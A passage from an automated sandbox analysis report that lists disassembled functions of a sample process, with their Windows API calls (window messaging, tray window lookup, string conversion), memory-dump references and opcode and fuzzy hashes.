                                                              • Opcode ID: 2ee58e0bac52829b24ce7c152f14b2fb8b9daa36faa23951e3fb37bd0ee734bd
                                                              • Instruction ID: 2c3263cd31745023502cf93f53a4aa1a6d2d7abd95c7b53d0ebfdc5141e3d34a
                                                              • Opcode Fuzzy Hash: 2ee58e0bac52829b24ce7c152f14b2fb8b9daa36faa23951e3fb37bd0ee734bd
                                                              • Instruction Fuzzy Hash: 28112972624209AFDF01DFA8CC46AEA7BA8FB08314F014914F955E3150E675E8519B60
                                                              Function 0090256E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 009025DC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 624084870-1403004172
                                                              • Opcode ID: a2486ca767c7f8e952c4e5d79bcdc8bbaaa7c05f1e46f69f9e290a1e6a80498b
                                                              • Instruction ID: fa116877ec6b1723fcbcc78b41c2af2f94d608944962ea671047acf059aa97d0
                                                              • Opcode Fuzzy Hash: a2486ca767c7f8e952c4e5d79bcdc8bbaaa7c05f1e46f69f9e290a1e6a80498b
                                                              • Instruction Fuzzy Hash: 5F01D471600219AFDB14EBB8CC65DFE7768FF96310B040A19B862972D7EA3498089A50
                                                              Function 00902468 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,00000180,00000000,?), ref: 009024D6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 624084870-1403004172
                                                              • Opcode ID: 4888fb0ad4ce4c979dc7390a21726e8a8524e36478be23f9ed66a75755051d13
                                                              • Instruction ID: 0f64365262f36b09946fbeb2f527497699414c48d408842a6a534ffae064f930
                                                              • Opcode Fuzzy Hash: 4888fb0ad4ce4c979dc7390a21726e8a8524e36478be23f9ed66a75755051d13
                                                              • Instruction Fuzzy Hash: F6018FB1A40109AFDF24EBA4CC56AFF77A8EF56340F14002AB502A72D3DA549E08D672
                                                              Function 009024EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,00000182,?,00000000), ref: 00902558
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 624084870-1403004172
                                                              • Opcode ID: 85adc8a618ec83305eac12f426e3293f049d708a2747075d947187cccfbf8831
                                                              • Instruction ID: 8ab9627bdd5f7a289756de22a8a7f0badfb66d16c481fe7809580492459386ff
                                                              • Opcode Fuzzy Hash: 85adc8a618ec83305eac12f426e3293f049d708a2747075d947187cccfbf8831
                                                              • Instruction Fuzzy Hash: 5A01A771640105BBDB14E7A4CD19BFE77ACEB52740F1400257502A31C2DA149E089675
                                                              Function 009025F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00902663
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 624084870-1403004172
                                                              • Opcode ID: 53ce8c7b934026469aebe67719460708532b7947ff1daa43e77a053f076e5894
                                                              • Instruction ID: 6667631e8ce899778a44b0462d544aa854efe589228b898d523c853a5d8feb2e
                                                              • Opcode Fuzzy Hash: 53ce8c7b934026469aebe67719460708532b7947ff1daa43e77a053f076e5894
                                                              • Instruction Fuzzy Hash: DAF0F4B1A40219BADB14E7A88C5AFFF7778EF51710F040A26B522E32C3DB6558088650
                                                              Function 00932C81 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00932C8B
                                                              • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00932C9E
                                                                • Part of subcall function 0090F1A7: Sleep.KERNEL32 ref: 0090F21F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: 54c2d57ad37d7c263ac4f700f4bb964ed97f73421541324eb99b6b6364981b80
                                                              • Instruction ID: 69978a8059069e2ebcf25143074aa91803765983d4490ad96c27b529a35f9a52
                                                              • Opcode Fuzzy Hash: 54c2d57ad37d7c263ac4f700f4bb964ed97f73421541324eb99b6b6364981b80
                                                              • Instruction Fuzzy Hash: E4D012353DD350BBF678B770EC2FFD66A55AB90B18F000815B349AA1D0C9F06900DA94
                                                              Function 00932CB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00932CCB
                                                              • PostMessageW.USER32(00000000), ref: 00932CD2
                                                                • Part of subcall function 0090F1A7: Sleep.KERNEL32 ref: 0090F21F
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FindMessagePostSleepWindow
                                                              • String ID: Shell_TrayWnd
                                                              • API String ID: 529655941-2988720461
                                                              • Opcode ID: b10f442a8251fd758917a133c0b318c770803d6604458e2ea3f63fde522ea677
                                                              • Instruction ID: eea7be2e2850e6c9457c409988b62325a6e06ae4a3400a5ec8b50198960ed461
                                                              • Opcode Fuzzy Hash: b10f442a8251fd758917a133c0b318c770803d6604458e2ea3f63fde522ea677
                                                              • Instruction Fuzzy Hash: 4AD012353DA3507BF678B770EC1FFC66A55AB94B18F400815B345AA1D0C9F06900DA98
                                                              Function 008DC19D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 008DC233
                                                              • GetLastError.KERNEL32 ref: 008DC241
                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 008DC29C
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide$ErrorLast
                                                              • String ID:
                                                              • API String ID: 1717984340-0
                                                              • Opcode ID: f973da46a29dbf5ffe57561786b20c5468965da8e4a2b7d33240c7e56f177b22
                                                              • Instruction ID: 9e3a034843f68cc996c861e50c879ce5fe35a7784819df94bdf4186932ab3adb
                                                              • Opcode Fuzzy Hash: f973da46a29dbf5ffe57561786b20c5468965da8e4a2b7d33240c7e56f177b22
                                                              • Instruction Fuzzy Hash: B341C33160420BAFDB258FE9C844AAA7BB5FF45320F24436AE859E73A5DB308D01DB51